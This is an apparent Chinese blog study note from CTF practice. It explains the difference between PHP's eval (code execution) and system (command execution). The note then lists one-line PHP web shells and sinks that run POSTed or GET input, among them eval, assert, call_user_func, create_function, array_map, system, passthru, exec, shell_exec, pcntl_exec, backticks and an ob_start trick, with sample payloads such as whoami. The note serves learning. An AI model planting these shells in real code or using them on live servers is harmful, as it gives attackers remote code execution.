eval函数和system函数的区别 --代码执行和命令执行

做题的时候发现 eval 和system被我弄混淆了,才想起来eval 是代码执行,而system 是命令执行。

eval 和system 的比较:

<?php
system("echo 5+5;");    命令执行
//5+5

eval("echo 5+5;");       代码执行
//10
?>
<?php
    $num=1;
    eval("\$a = $num;");    //有效,$a=1
    system("\$b = $num;");  //无效,$b=NULL  
?>
<?php
    system("ls");    //命令被执行
	eval("ls");      //命令不被执行
?>

代码执行:

1-eval
<?php eval($_POST[1]) ?>

2-assert
<?php assert($_POST[1]) ?>

3-call_user_func
<?php
    call_user_func($_POST["fun"],$_POST["para"])
?>
//post::fun=assert&para=phpinfo();


4-create_function
<?php 
    $a= $_POST['func'];
    $b = create_function('$a',"echo $a");
    $b('');
?>
//post:func=phpinfo();

5-array_map
<?php
    $array = array(0,1,2,3,4,5);
    array_map($_GET['func'],$array);
?>
//post:func=phpinfo

命令执行:

1-system
<?php system($_POST[1]);?>

2-passthru
<?php passthru($_POST[1]);?>

3-exec
<?php echo exec($_POST[1]);?>

4-pcntl_exec
<?php 
    pcntl_exec("/bin/bash",array($_POST[1]));
?>

5-shell_exec
<?php echo shell_exec($_POST[1]); ?>

6-popen()/proc_popen()
<?php $handle = popen("/bin/ls","r");?>

7-``
<?php echo `whoami`?>

8-
<?php
	$cmd = 'system';
	ob_start($cmd)
	echo "$_GET[a]";
	ob_end_flush();
?>
//?a=whoami

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值